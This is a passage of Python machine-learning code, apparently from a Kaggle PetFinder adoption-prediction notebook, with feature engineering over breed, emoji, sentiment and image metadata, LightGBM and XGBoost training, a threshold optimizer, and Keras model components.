\"BreedID\":\n continue\n breeds1_dic[c] = c + \"_main_breed_all\"\n breeds2_dic[c] = c + \"_second_breed_all\"\n train = train.merge(breeds.rename(columns=breeds1_dic), how='left', left_on='Breed1', right_on='BreedID')\n train.drop(['BreedID'], axis=1, inplace=True)\n train = train.merge(breeds.rename(columns=breeds2_dic), how='left', left_on='Breed2', right_on='BreedID')\n train.drop(['BreedID'], axis=1, inplace=True)\n \n return train\n\ndef merge_breed_name_sub(train):\n breeds = pd.read_csv('../input/petfinder-adoption-prediction/breed_labels.csv')\n df = pd.read_json('../input/petfinderdatasets/rating.json')\n cat_df = df.cat_breeds.dropna(0).reset_index().rename(columns={'index': 'BreedName'})\n dog_df = df.dog_breeds.dropna(0).reset_index().rename(columns={'index': 'BreedName'})\n\n cat = cat_df['cat_breeds'].apply(lambda x: pd.Series(x))\n cat_df = pd.concat([cat_df, cat], axis=1).drop(['cat_breeds'], axis=1)\n dog = dog_df['dog_breeds'].apply(lambda x: pd.Series(x))\n dog_df = pd.concat([dog_df, cat], axis=1).drop(['dog_breeds'], axis=1)\n\n df = pd.concat([dog_df, cat_df])\n df.BreedName.replace(\n {\n 'Siamese Cat': 'Siamese',\n 'Chinese Crested': 'Chinese Crested Dog',\n 'Australian Cattle Dog': 'Australian Cattle Dog/Blue Heeler',\n 'Yorkshire Terrier': 'Yorkshire Terrier Yorkie',\n 'Pembroke Welsh Corgi': 'Welsh Corgi',\n 'Sphynx': 'Sphynx (hairless cat)',\n 'Plott': 'Plott Hound',\n 'Korean Jindo Dog': 'Jindo',\n 'Anatolian Shepherd Dog': 'Anatolian Shepherd',\n 'Belgian Malinois': 'Belgian Shepherd Malinois',\n 'Belgian Sheepdog': 'Belgian Shepherd Dog Sheepdog',\n 'Belgian Tervuren': 'Belgian Shepherd Tervuren',\n 'Bengal Cats': 'Bengal',\n 'Bouvier des Flandres': 'Bouvier des Flanders',\n 'Brittany': 'Brittany Spaniel',\n 'Caucasian Shepherd Dog': 'Caucasian Sheepdog (Caucasian Ovtcharka)',\n 'Dandie Dinmont Terrier': 'Dandi Dinmont Terrier',\n 'Bulldog': 'English Bulldog',\n 'American English Coonhound': 'English Coonhound',\n 'Small Munsterlander Pointer': 'Munsterlander',\n 'Entlebucher Mountain Dog': 'Entlebucher',\n 'Exotic': 'Exotic Shorthair',\n 'Flat-Coated Retriever': 'Flat-coated Retriever',\n 'English Foxhound': 'Foxhound',\n 'Alaskan Klee Kai': 'Klee Kai',\n 'Newfoundland': 'Newfoundland Dog',\n 'Norwegian Forest': 'Norwegian Forest Cat',\n 'Nova Scotia Duck Tolling Retriever': 'Nova Scotia Duck-Tolling Retriever',\n 'American Pit Bull Terrier': 'Pit Bull Terrier',\n 'Ragdoll Cats': 'Ragdoll',\n 'Standard Schnauzer': 'Schnauzer',\n 'Scottish Terrier': 'Scottish Terrier Scottie',\n 'Chinese Shar-Pei': 'Shar Pei',\n 'Shetland Sheepdog': 'Shetland Sheepdog Sheltie',\n 'West Highland White Terrier': 'West Highland White Terrier Westie',\n 'Soft Coated Wheaten Terrier': 'Wheaten Terrier',\n 'Wirehaired Pointing Griffon': 'Wire-haired Pointing Griffon',\n 'Xoloitzcuintli': 'Wirehaired Terrier',\n 'Cane Corso': 'Cane Corso Mastiff',\n 'Havana Brown': 'Havana',\n }, inplace=True\n )\n breeds = breeds.merge(df, how='left', on='BreedName')\n\n train = train.merge(breeds.rename(columns={'BreedName': 'BreedName_main_breed'}), how='left', left_on='Breed1', right_on='BreedID', suffixes=('', '_main_breed'))\n train.drop(['BreedID'], axis=1, inplace=True)\n train = train.merge(breeds.rename(columns={'BreedName': 'BreedName_second_breed'}), how='left', left_on='Breed2', right_on='BreedID', suffixes=('', '_second_breed'))\n train.drop(['BreedID'], axis=1, inplace=True)\n \n return train\n \ndef extract_emojis(text, emoji_list):\n return ' '.join(c for c in text if c in emoji_list)\n \ndef merge_emoji(train):\n emoji = pd.read_csv('../input/petfinderdatasets/Emoji_Sentiment_Data_v1.0.csv')\n emoji2 = pd.read_csv('../input/petfinderdatasets/Emojitracker_20150604.csv')\n emoji = emoji.merge(emoji2, how='left', on='Emoji', suffixes=('', '_tracker'))\n \n emoji_list = emoji['Emoji'].values\n train_emoji = train['Description'].apply(extract_emojis, emoji_list=emoji_list)\n train_emoji = pd.DataFrame([train['PetID'], train_emoji]).T.set_index('PetID')\n train_emoji = train_emoji['Description'].str.extractall('(' + ')|('.join(emoji_list) + ')')\n train_emoji = train_emoji.fillna(method='bfill', axis=1).iloc[:, 0].reset_index().rename(columns={0: 'Emoji'})\n train_emoji = train_emoji.merge(emoji, how='left', on='Emoji')\n \n emoji_columns = ['Occurrences', 'Position', 'Negative', 'Neutral', 'Positive', 'Occurrences_tracker']\n stats = ['mean', 'max', 'min', 'median', 'std']\n g = train_emoji.groupby('PetID')[emoji_columns].agg(stats)\n g.columns = [c + '_' + stat for c in emoji_columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n \n return train\n\ndef get_interactions(train):\n interaction_features = ['Age', 'Quantity']\n for (c1, c2) in combinations(interaction_features, 2):\n train[c1 + '_mul_' + c2] = train[c1] * train[c2]\n train[c1 + '_div_' + c2] = train[c1] / train[c2]\n return train\n\ndef get_text_features(train):\n train['Length_Description'] = train['Description'].map(len)\n train['Length_annots_top_desc'] = train['annots_top_desc'].map(len)\n train['Lengths_sentiment_text'] = train['sentiment_text'].map(len)\n train['Lengths_sentiment_entities'] = train['sentiment_entities'].map(len)\n \n return train\n\ndef get_name_features(train):\n train['num_name_chars'] = train['Name'].apply(len)\n train['num_name_capitals'] = train['Name'].apply(lambda x: sum(1 for c in x if c.isupper()))\n train['name_caps_vs_length'] = train.apply(lambda row: row['num_name_capitals'] / (row['num_name_chars']+1e-5), axis=1)\n train['num_name_exclamation_marks'] = train['Name'].apply(lambda x: x.count('!'))\n train['num_name_question_marks'] = train['Name'].apply(lambda x: x.count('?'))\n train['num_name_punctuation'] = train['Name'].apply(lambda x: sum(x.count(w) for w in '.,;:'))\n train['num_name_symbols'] = train['Name'].apply(lambda x: sum(x.count(w) for w in '*&$%'))\n train['num_name_words'] = train['Name'].apply(lambda x: len(x.split()))\n return train\n\nclass MetaDataParser(object): \n def __init__(self, n_jobs=1):\n self.n_jobs = n_jobs\n # sentiment files\n train_sentiment_files = sorted(glob.glob('../input/petfinder-adoption-prediction/train_sentiment/*.json'))\n test_sentiment_files = sorted(glob.glob('../input/petfinder-adoption-prediction/test_sentiment/*.json'))\n sentiment_files = train_sentiment_files + test_sentiment_files\n self.sentiment_files = pd.DataFrame(sentiment_files, columns=['sentiment_filename'])\n self.sentiment_files['PetID'] = self.sentiment_files['sentiment_filename'].apply(lambda x: x.split('/')[-1].split('.')[0])\n \n # metadata files\n train_metadata_files = sorted(glob.glob('../input/petfinder-adoption-prediction/train_metadata/*.json'))\n test_metadata_files = sorted(glob.glob('../input/petfinder-adoption-prediction/test_metadata/*.json'))\n metadata_files = train_metadata_files + test_metadata_files\n self.metadata_files = pd.DataFrame(metadata_files, columns=['metadata_filename'])\n self.metadata_files['PetID'] = self.metadata_files['metadata_filename'].apply(lambda x: x.split('/')[-1].split('-')[0])\n \n def open_json_file(self, filename):\n with open(filename, 'r', encoding=\"utf-8\") as f:\n metadata_file = json.load(f)\n return metadata_file\n \n def get_stats(self, array, name):\n stats = [np.mean, np.max, np.min, np.sum, np.var]\n result = {}\n if len(array):\n for stat in stats:\n result[name + '_' + stat.__name__] = stat(array)\n else:\n for stat in stats:\n result[name + '_' + stat.__name__] = 0\n return result\n \n def parse_sentiment_file(self, file):\n file_sentiment = file['documentSentiment']\n file_entities = [x['name'] for x in file['entities']]\n file_entities = ' '.join(file_entities)\n\n file_sentences_text = [x['text']['content'] for x in file['sentences']]\n file_sentences_text = ' '.join(file_sentences_text)\n file_sentences_sentiment = [x['sentiment'] for x in file['sentences']]\n\n file_sentences_sentiment_sum = pd.DataFrame.from_dict(\n file_sentences_sentiment, orient='columns').sum()\n file_sentences_sentiment_sum = file_sentences_sentiment_sum.add_prefix('document_sum_').to_dict()\n \n file_sentences_sentiment_mean = pd.DataFrame.from_dict(\n file_sentences_sentiment, orient='columns').mean()\n file_sentences_sentiment_mean = file_sentences_sentiment_mean.add_prefix('document_mean_').to_dict()\n \n file_sentences_sentiment_var = pd.DataFrame.from_dict(\n file_sentences_sentiment, orient='columns').sum()\n file_sentences_sentiment_var = file_sentences_sentiment_var.add_prefix('document_var_').to_dict()\n \n file_sentiment.update(file_sentences_sentiment_mean)\n file_sentiment.update(file_sentences_sentiment_sum)\n file_sentiment.update(file_sentences_sentiment_var)\n file_sentiment.update({\"sentiment_text\": file_sentences_text})\n file_sentiment.update({\"sentiment_entities\": file_entities})\n \n return pd.Series(file_sentiment)\n \n def parse_metadata(self, file):\n file_keys = list(file.keys())\n\n if 'labelAnnotations' in file_keys:\n label_annotations = file['labelAnnotations']\n file_top_score = [x['score'] for x in label_annotations]\n pick_value = int(len(label_annotations) * 0.3)\n if pick_value == 0: pick_value = 1 \n file_top_score_pick = [x['score'] for x in label_annotations[:pick_value]]\n file_top_desc = [x['description'] for x in label_annotations] \n file_top_desc_pick = [x['description'] for x in label_annotations[:pick_value]] \n dog_cat_scores = []\n dog_cat_topics = []\n is_dog_or_cat = []\n for label in label_annotations:\n if label['description'] == 'dog' or label['description'] == 'cat':\n dog_cat_scores.append(label['score'])\n dog_cat_topics.append(label['topicality'])\n is_dog_or_cat.append(1) \n else:\n is_dog_or_cat.append(0) \n else:\n file_top_score = []\n file_top_desc = []\n dog_cat_scores = []\n dog_cat_topics = []\n is_dog_or_cat = []\n file_top_score_pick = []\n file_top_desc_pick = []\n \n if 'faceAnnotations' in file_keys:\n file_face = file['faceAnnotations']\n n_faces = len(file_face)\n else:\n n_faces = 0\n \n if 'textAnnotations' in file_keys:\n text_annotations = file['textAnnotations']\n file_n_text_annotations = len(text_annotations)\n file_len_text = [len(text['description']) for text in text_annotations] \n else:\n file_n_text_annotations = 0\n file_len_text = []\n\n file_colors = file['imagePropertiesAnnotation']['dominantColors']['colors']\n file_crops = file['cropHintsAnnotation']['cropHints']\n\n file_color_score = [x['score'] for x in file_colors]\n file_color_pixelfrac = [x['pixelFraction'] for x in file_colors]\n file_color_red = [x['color']['red'] if 'red' in x['color'].keys() else 0 for x in file_colors]\n file_color_blue = [x['color']['blue'] if 'blue' in x['color'].keys() else 0 for x in file_colors]\n file_color_green = [x['color']['green'] if 'green' in x['color'].keys() else 0 for x in file_colors]\n file_crop_conf = np.mean([x['confidence'] for x in file_crops])\n file_crop_x = np.mean([x['boundingPoly']['vertices'][1]['x'] for x in file_crops])\n file_crop_y = np.mean([x['boundingPoly']['vertices'][3]['y'] for x in file_crops])\n\n if 'importanceFraction' in file_crops[0].keys():\n file_crop_importance = np.mean([x['importanceFraction'] for x in file_crops])\n else:\n file_crop_importance = 0\n\n metadata = {\n 'annots_top_desc': ' '.join(file_top_desc),\n 'annots_top_desc_pick': ' '.join(file_top_desc_pick),\n 'annots_score_pick_mean': np.mean(file_top_score_pick),\n 'n_faces': n_faces,\n 'n_text_annotations': file_n_text_annotations,\n 'crop_conf': file_crop_conf,\n 'crop_x': file_crop_x,\n 'crop_y': file_crop_y,\n 'crop_importance': file_crop_importance,\n }\n metadata.update(self.get_stats(file_top_score, 'annots_score_normal'))\n metadata.update(self.get_stats(file_color_score, 'color_score'))\n metadata.update(self.get_stats(file_color_pixelfrac, 'color_pixel_score'))\n metadata.update(self.get_stats(file_color_red, 'color_red_score'))\n metadata.update(self.get_stats(file_color_blue, 'color_blue_score'))\n metadata.update(self.get_stats(file_color_green, 'color_green_score'))\n metadata.update(self.get_stats(dog_cat_scores, 'dog_cat_scores'))\n metadata.update(self.get_stats(dog_cat_topics, 'dog_cat_topics'))\n metadata.update(self.get_stats(is_dog_or_cat, 'is_dog_or_cat'))\n metadata.update(self.get_stats(file_len_text, 'len_text'))\n metadata.update({\"color_red_score_first\": file_color_red[0] if len(file_color_red)>0 else -1})\n metadata.update({\"color_blue_score_first\": file_color_blue[0] if len(file_color_blue)>0 else -1})\n metadata.update({\"color_green_score_first\": file_color_green[0] if len(file_color_green)>0 else -1})\n metadata.update({\"color_pixel_score_first\": file_color_pixelfrac[0] if len(file_color_pixelfrac)>0 else -1})\n metadata.update({\"color_score_first\": file_color_score[0] if len(file_color_score)>0 else -1})\n metadata.update({\"label_score_first\": file_top_score[0] if len(file_top_score)>0 else -1})\n\n return pd.Series(metadata)\n \n def _transform(self, path, sentiment=True):\n file = self.open_json_file(path)\n if sentiment:\n result = self.parse_sentiment_file(file)\n else:\n result = self.parse_metadata(file)\n return result\n \n def process_sentiment(self, df):\n return df.apply(lambda x: self._transform(x, sentiment=True))\n \n def process_metadata(self, df):\n return df.apply(lambda x: self._transform(x, sentiment=False))\n \n def transform_sentiment(self):\n with multiprocessing.Pool(processes=self.n_jobs) as p:\n split_dfs = np.array_split(self.sentiment_files['sentiment_filename'], self.n_jobs)\n pool_results = p.map(self.process_sentiment, split_dfs)\n self.sentiment_features = pd.concat(pool_results)\n self.sentiment_files = pd.concat([self.sentiment_files, self.sentiment_features], axis=1, sort=False)\n \n def transform_metadata(self):\n with multiprocessing.Pool(processes=self.n_jobs) as p:\n split_dfs = np.array_split(self.metadata_files['metadata_filename'], self.n_jobs)\n pool_results = p.map(self.process_metadata, split_dfs)\n self.metadata_features = pd.concat(pool_results)\n self.metadata_files = pd.concat([self.metadata_files, self.metadata_features], axis=1, sort=False)\n \n def transform(self, train):\n self.transform_sentiment()\n stats = ['mean']\n columns = [c for c in self.sentiment_features.columns if c not in ['sentiment_text', 'sentiment_entities']]\n self.g1 = self.sentiment_files[list(self.sentiment_features.columns) + ['PetID']].groupby('PetID').agg(stats)\n self.g1.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(self.g1, how='left', on='PetID')\n\n self.transform_metadata()\n stats = ['mean', 'min', 'max', 'median', 'var', 'sum', 'first']\n columns = [c for c in self.metadata_features.columns if c not in ['annots_top_desc', 'annots_top_desc_pick']]\n self.g2 = self.metadata_files[columns + ['PetID']].groupby('PetID').agg(stats)\n self.g2.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(self.g2, how='left', on='PetID')\n \n return train\n\ndef pretrained_w2v(train_text, model, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n result = []\n for text in train_corpus:\n n_skip = 0\n vec = np.zeros(model.vector_size)\n for n_w, word in enumerate(text):\n if word in model: #0.9906\n vec = vec + model.wv[word]\n continue\n word_ = word.upper()\n if word_ in model: #0.9909\n vec = vec + model.wv[word_]\n continue\n word_ = word.capitalize()\n if word_ in model: #0.9925\n vec = vec + model.wv[word_]\n continue\n word_ = ps.stem(word)\n if word_ in model: #0.9927\n vec = vec + model.wv[word_]\n continue\n word_ = lc.stem(word)\n if word_ in model: #0.9932\n vec = vec + model.wv[word_]\n continue\n word_ = sb.stem(word)\n if word_ in model: #0.9933\n vec = vec + model.wv[word_]\n continue\n else:\n n_skip += 1\n continue\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"{}{}\".format(name, i) for i in range(1, model.vector_size+1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n \n return result\n\ndef w2v_pymagnitude(train_text, model, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n \n result = []\n for text in train_corpus:\n vec = np.zeros(model.dim)\n for n_w, word in enumerate(text):\n if word in model: #0.9906\n vec = vec + model.query(word)\n continue\n word_ = word.upper()\n if word_ in model: #0.9909\n vec = vec + model.query(word_)\n continue\n word_ = word.capitalize()\n if word_ in model: #0.9925\n vec = vec + model.query(word_)\n continue\n word_ = ps.stem(word)\n if word_ in model: #0.9927\n vec = vec + model.query(word_)\n continue\n word_ = lc.stem(word)\n if word_ in model: #0.9932\n vec = vec + model.query(word_)\n continue\n word_ = sb.stem(word)\n if word_ in model: #0.9933\n vec = vec + model.query(word_)\n continue\n vec = vec + model.query(word)\n \n vec = vec / (n_w + 1)\n result.append(vec)\n\n w2v_cols = [\"{}_mag{}\".format(name, i) for i in range(1, model.dim+1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n \n return result\n\ndef doc2vec(description_k, d2v_param):\n corpus = [TaggedDocument(words=analyzer_k(text), tags=[i]) for i, text in enumerate(description_k)]\n doc2vecs = Doc2Vec(\n documents=corpus, dm=1, \n **d2v_param\n ) # dm == 1 -> dmpv, dm != 1 -> DBoW\n doc2vecs = np.array([doc2vecs.infer_vector(analyzer_k(text)) for text in description_k])\n \n doc2vec_df = pd.DataFrame()\n doc2vec_df['d2v_mean'] = np.mean(doc2vecs, axis=1)\n doc2vec_df['d2v_sum'] = np.sum(doc2vecs, axis=1)\n doc2vec_df['d2v_max'] = np.max(doc2vecs, axis=1)\n doc2vec_df['d2v_min'] = np.min(doc2vecs, axis=1)\n doc2vec_df['d2v_median'] = np.median(doc2vecs, axis=1)\n doc2vec_df['d2v_var'] = np.var(doc2vecs, axis=1)\n \n return doc2vec_df\n\ndef resize_to_square(im):\n old_size = im.shape[:2] # old_size is in (height, width) format\n ratio = float(img_size)/max(old_size)\n new_size = tuple([int(x*ratio) for x in old_size])\n # new_size should be in (width, height) format\n im = cv2.resize(im, (new_size[1], new_size[0]))\n delta_w = img_size - new_size[1]\n delta_h = img_size - new_size[0]\n top, bottom = delta_h//2, delta_h-(delta_h//2)\n left, right = delta_w//2, delta_w-(delta_w//2)\n color = [0, 0, 0]\n new_im = cv2.copyMakeBorder(im, top, bottom, left, right, cv2.BORDER_CONSTANT,value=color)\n return new_im\n\ndef load_image(path):\n image = cv2.imread(path)\n new_image = resize_to_square(image)\n return preprocess_input_dense(new_image), preprocess_input_incep(new_image)\n\ndef get_age_feats(df):\n df[\"Age_year\"] = (df[\"Age\"] / 12).astype(np.int32)\n over_1year_flag = df[\"Age\"] / 12 >= 1\n df.loc[over_1year_flag, \"over_1year\"] = 1\n df.loc[~over_1year_flag, \"over_1year\"] = 0\n return df\n\ndef freq_encoding(df, freq_cols):\n for c in freq_cols:\n count_df = df.groupby([c])['PetID'].count().reset_index()\n count_df.columns = [c, '{}_freq'.format(c)]\n df = df.merge(count_df, how='left', on=c)\n \n return df\n\ndef getSize(filename):\n st = os.stat(filename)\n return st.st_size\n\ndef getDimensions(filename):\n img_size = Image.open(filename).size\n return img_size \n \n# ===============\n# Model\n# ===============\ndef get_score(y_true, y_pred):\n return cohen_kappa_score(y_true, y_pred, weights='quadratic')\n\ndef get_y():\n return pd.read_csv('../input/petfinder-adoption-prediction/train/train.csv', usecols=[target]).values.flatten()\n \ndef run_model(X_train, y_train, X_valid, y_valid, X_test,\n categorical_features,\n predictors, maxvalue_dict, fold_id, params, model_name):\n train = lgb.Dataset(X_train, y_train, \n categorical_feature=categorical_features, \n feature_name=predictors)\n valid = lgb.Dataset(X_valid, y_valid, \n categorical_feature=categorical_features, \n feature_name=predictors)\n evals_result = {}\n model = lgb.train(\n params,\n train,\n valid_sets=[valid],\n valid_names=['valid'],\n evals_result=evals_result,\n **FIT_PARAMS\n )\n logger.info(f'Best Iteration: {model.best_iteration}')\n \n # train score\n y_pred_train = model.predict(X_train)\n train_rmse = np.sqrt(mean_squared_error(y_train, y_pred_train))\n\n # validation score\n y_pred_valid = model.predict(X_valid)\n valid_rmse = np.sqrt(mean_squared_error(y_valid, y_pred_valid))\n y_pred_valid = rankdata(y_pred_valid)/len(y_pred_valid)\n\n # save model\n model.save_model(f'{model_name}_fold{fold_id}.txt')\n\n # predict test\n y_pred_test = model.predict(X_test)\n y_pred_test = rankdata(y_pred_test)/len(y_pred_test)\n\n # save predictions\n np.save(f'{model_name}_train_fold{fold_id}.npy', y_pred_valid)\n np.save(f'{model_name}_test_fold{fold_id}.npy', y_pred_test)\n\n return y_pred_valid, y_pred_test, train_rmse, valid_rmse\n\ndef run_xgb_model(X_train, y_train, X_valid, y_valid, X_test,\n predictors, maxvalue_dict, fold_id, params, model_name):\n d_train = xgb.DMatrix(data=X_train, label=y_train, feature_names=predictors)\n d_valid = xgb.DMatrix(data=X_valid, label=y_valid, feature_names=predictors)\n \n watchlist = [(d_train, 'train'), (d_valid, 'valid')]\n model = xgb.train(dtrain=d_train, evals=watchlist, params=params, **FIT_PARAMS)\n \n # train score\n y_pred_train = model.predict(d_train, ntree_limit=model.best_ntree_limit)\n train_rmse = np.sqrt(mean_squared_error(y_train, y_pred_train))\n\n # validation score\n y_pred_valid = model.predict(d_valid, ntree_limit=model.best_ntree_limit)\n valid_rmse = np.sqrt(mean_squared_error(y_valid, y_pred_valid))\n y_pred_valid = rankdata(y_pred_valid)/len(y_pred_valid)\n\n # save model\n model.save_model(f'{model_name}_fold{fold_id}.txt')\n\n # predict test\n y_pred_test = model.predict(xgb.DMatrix(data=X_test, feature_names=predictors), ntree_limit=model.best_ntree_limit)\n y_pred_test = rankdata(y_pred_test)/len(y_pred_test)\n\n # save predictions\n np.save(f'{model_name}_train_fold{fold_id}.npy', y_pred_valid)\n np.save(f'{model_name}_test_fold{fold_id}.npy', y_pred_test)\n\n return y_pred_valid, y_pred_test, train_rmse, valid_rmse\n \ndef plot_mean_feature_importances(feature_importances, max_num=50, importance_type='gain', path=None):\n mean_gain = feature_importances[[importance_type, 'feature']].groupby('feature').mean()\n feature_importances['mean_' + importance_type] = feature_importances['feature'].map(mean_gain[importance_type])\n\n if path is not None:\n data = feature_importances.sort_values('mean_'+importance_type, ascending=False).iloc[:max_num, :]\n plt.clf()\n plt.figure(figsize=(16, 8))\n sns.barplot(x=importance_type, y='feature', data=data)\n plt.tight_layout()\n plt.savefig(path)\n \n return feature_importances\n\ndef to_bins(x, borders):\n for i in range(len(borders)):\n if x <= borders[i]:\n return i\n return len(borders)\n\nclass OptimizedRounder(object):\n def __init__(self):\n self.coef_ = 0\n\n def _loss(self, coef, X, y, idx):\n X_p = np.array([to_bins(pred, coef) for pred in X])\n ll = -get_score(y, X_p)\n return ll\n\n def fit(self, X, y):\n coef = [0.2, 0.4, 0.6, 0.8]\n golden1 = 0.618\n golden2 = 1 - golden1\n ab_start = [(0.01, 0.3), (0.15, 0.56), (0.35, 0.75), (0.6, 0.9)]\n for it1 in range(10):\n for idx in range(4):\n # golden section search\n a, b = ab_start[idx]\n # calc losses\n coef[idx] = a\n la = self._loss(coef, X, y, idx)\n coef[idx] = b\n lb = self._loss(coef, X, y, idx)\n for it in range(20):\n # choose value\n if la > lb:\n a = b - (b - a) * golden1\n coef[idx] = a\n la = self._loss(coef, X, y, idx)\n else:\n b = b - (b - a) * golden2\n coef[idx] = b\n lb = self._loss(coef, X, y, idx)\n self.coef_ = {'x': coef}\n\n def predict(self, X, coef):\n X_p = np.array([to_bins(pred, coef) for pred in X])\n return X_p\n\n def coefficients(self):\n return self.coef_['x']\n \nclass StratifiedGroupKFold():\n def __init__(self, n_splits=5):\n self.n_splits = n_splits\n \n def split(self, X, y=None, groups=None):\n fold = pd.DataFrame([X, y, groups]).T\n fold.columns = ['X', 'y', 'groups']\n fold['y'] = fold['y'].astype(int)\n g = fold.groupby('groups')['y'].agg('mean').reset_index()\n fold = fold.merge(g, how='left', on='groups', suffixes=('', '_mean'))\n fold['y_mean'] = fold['y_mean'].apply(np.round)\n fold['fold_id'] = 0\n for unique_y in fold['y_mean'].unique():\n mask = fold.y_mean==unique_y\n selected = fold[mask].reset_index(drop=True)\n cv = GroupKFold(n_splits=n_splits)\n for i, (train_index, valid_index) in enumerate(cv.split(range(len(selected)), y=None, groups=selected['groups'])):\n selected.loc[valid_index, 'fold_id'] = i\n fold.loc[mask, 'fold_id'] = selected['fold_id'].values\n \n for i in range(self.n_splits):\n indices = np.arange(len(fold))\n train_index = indices[fold['fold_id'] != i]\n valid_index = indices[fold['fold_id'] == i]\n yield train_index, valid_index\n\n# ===============\n# NN\n# ===============\nclass CyclicLR(Callback):\n def __init__(self, base_lr=0.001, max_lr=0.006, step_size=2000., mode='triangular',\n gamma=1., scale_fn=None, scale_mode='cycle'):\n super(CyclicLR, self).__init__()\n\n self.base_lr = base_lr\n self.max_lr = max_lr\n self.step_size = step_size\n self.mode = mode\n self.gamma = gamma\n if scale_fn == None:\n if self.mode == 'triangular':\n self.scale_fn = lambda x: 1.\n self.scale_mode = 'cycle'\n elif self.mode == 'triangular2':\n self.scale_fn = lambda x: 1 / (2. ** (x - 1))\n self.scale_mode = 'cycle'\n elif self.mode == 'exp_range':\n self.scale_fn = lambda x: gamma ** (x)\n self.scale_mode = 'iterations'\n else:\n self.scale_fn = scale_fn\n self.scale_mode = scale_mode\n self.clr_iterations = 0.\n self.trn_iterations = 0.\n self.history = {}\n\n self._reset()\n\n def _reset(self, new_base_lr=None, new_max_lr=None,\n new_step_size=None):\n \"\"\"Resets cycle iterations.\n Optional boundary/step size adjustment.\n \"\"\"\n if new_base_lr != None:\n self.base_lr = new_base_lr\n if new_max_lr != None:\n self.max_lr = new_max_lr\n if new_step_size != None:\n self.step_size = new_step_size\n self.clr_iterations = 0.\n\n def clr(self):\n cycle = np.floor(1 + self.clr_iterations / (2 * self.step_size))\n x = np.abs(self.clr_iterations / self.step_size - 2 * cycle + 1)\n if self.scale_mode == 'cycle':\n return self.base_lr + (self.max_lr - self.base_lr) * np.maximum(0, (1 - x)) * self.scale_fn(cycle)\n else:\n return self.base_lr + (self.max_lr - self.base_lr) * np.maximum(0, (1 - x)) * self.scale_fn(\n self.clr_iterations)\n\n def on_train_begin(self, logs={}):\n logs = logs or {}\n\n if self.clr_iterations == 0:\n K.set_value(self.model.optimizer.lr, self.base_lr)\n else:\n K.set_value(self.model.optimizer.lr, self.clr())\n\n def on_batch_end(self, epoch, logs=None):\n\n logs = logs or {}\n self.trn_iterations += 1\n self.clr_iterations += 1\n\n self.history.setdefault('lr', []).append(K.get_value(self.model.optimizer.lr))\n self.history.setdefault('iterations', []).append(self.trn_iterations)\n\n for k, v in logs.items():\n self.history.setdefault(k, []).append(v)\n\n K.set_value(self.model.optimizer.lr, self.clr())\n\n\nclass Attention(Layer):\n def __init__(self, step_dim,\n W_regularizer=None, b_regularizer=None,\n W_constraint=None, b_constraint=None,\n bias=True, **kwargs):\n \"\"\"\n Keras Layer that implements an Attention mechanism for temporal data.\n Supports Masking.\n Follows the work of Raffel et al. [https://arxiv.org/abs/1512.08756]\n # Input shape\n 3D tensor with shape: `(samples, steps, features)`.\n # Output shape\n 2D tensor with shape: `(samples, features)`.\n :param kwargs:\n Just put it on top of an RNN Layer (GRU/LSTM/SimpleRNN) with\n return_sequences = True.\n The dimensions are inferred based on the output shape of the RNN.\n Example:\n model.add(LSTM(64, return_sequences=True))\n model.add(Attention())\n \"\"\"\n self.supports_masking = True\n self.init = initializers.get('glorot_uniform')\n\n self.W_regularizer = regularizers.get(W_regularizer)\n self.b_regularizer = regularizers.get(b_regularizer)\n\n self.W_constraint = constraints.get(W_constraint)\n self.b_constraint = constraints.get(b_constraint)\n\n self.bias = bias\n self.step_dim = step_dim\n self.features_dim = 0\n super(Attention, self).__init__(**kwargs)\n\n def build(self, input_shape):\n assert len(input_shape) == 3\n\n self.W = self.add_weight((input_shape[-1],),\n initializer=self.init,\n name='{}_W'.format(self.name),\n regularizer=self.W_regularizer,\n constraint=self.W_constraint)\n self.features_dim = input_shape[-1]\n\n if self.bias:\n self.b = self.add_weight((input_shape[1],),\n initializer='zero',\n name='{}_b'.format(self.name),\n regularizer=self.b_regularizer,\n constraint=self.b_constraint)\n else:\n self.b = None\n\n self.built = True\n\n def compute_mask(self, input, input_mask=None):\n return None\n\n def call(self, x, mask=None):\n features_dim = self.features_dim\n step_dim = self.step_dim\n\n eij = K.reshape(K.dot(K.reshape(x, (-1, features_dim)),\n K.reshape(self.W, (features_dim, 1))), (-1, step_dim))\n\n if self.bias:\n eij += self.b\n\n eij = K.tanh(eij)\n\n a = K.exp(eij)\n\n if mask is not None:\n a *= K.cast(mask, K.floatx())\n\n a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx())\n\n a = K.expand_dims(a)\n weighted_input = x * a\n return K.sum(weighted_input, axis=1)\n\n def compute_output_shape(self, input_shape):\n return input_shape[0], self.features_dim\n\n\ndef se_block(input, channels, r=8):\n x = Dense(channels//r, activation=\"relu\")(input)\n x = Dense(channels, activation=\"sigmoid\")(x)\n return Multiply()([input, x])\n\n\ndef get_model(max_len, embedding_dim, emb_n=4, emb_n_imp=16, dout=.4, weight_decay=0.1):\n inp_cats = []\n embs = []\n for c in categorical_features_1000:\n inp_cat = Input(shape=[1], name=c)\n inp_cats.append(inp_cat)\n embs.append((Embedding(X_train[c].max() + 1, emb_n)(inp_cat)))\n for c in important_categorical:\n inp_cat = Input(shape=[1], name=c)\n inp_cats.append(inp_cat)\n embs.append((Embedding(X_train[c].max() + 1, emb_n_imp)(inp_cat)))\n cats = Flatten()(concatenate(embs))\n cats = Dense(8, activation=\"linear\")(cats)\n cats = BatchNormalization()(cats)\n cats = PReLU()(cats)\n cats = Dropout(dout / 2)(cats)\n\n inp_numerical = Input(shape=(len(numerical_1000),), name=\"numerical\")\n inp_important_numerical = Input(shape=(len(important_numerical),), name=\"important_numerical\")\n nums = concatenate([inp_numerical, inp_important_numerical])\n nums = Dense(32, activation=\"linear\")(nums)\n nums = BatchNormalization()(nums)\n nums = PReLU()(nums)\n nums = Dropout(dout)(nums)\n\n inp_img = Input(shape=(len(img_cols),), name=\"img\")\n x_img = Dense(32, activation=\"linear\")(inp_img)\n x_img = BatchNormalization()(x_img)\n x_img = PReLU()(x_img)\n x_img = Dropout(dout)(x_img)\n\n inp_desc = Input(shape=(max_len,), name=\"description\")\n emb_desc = 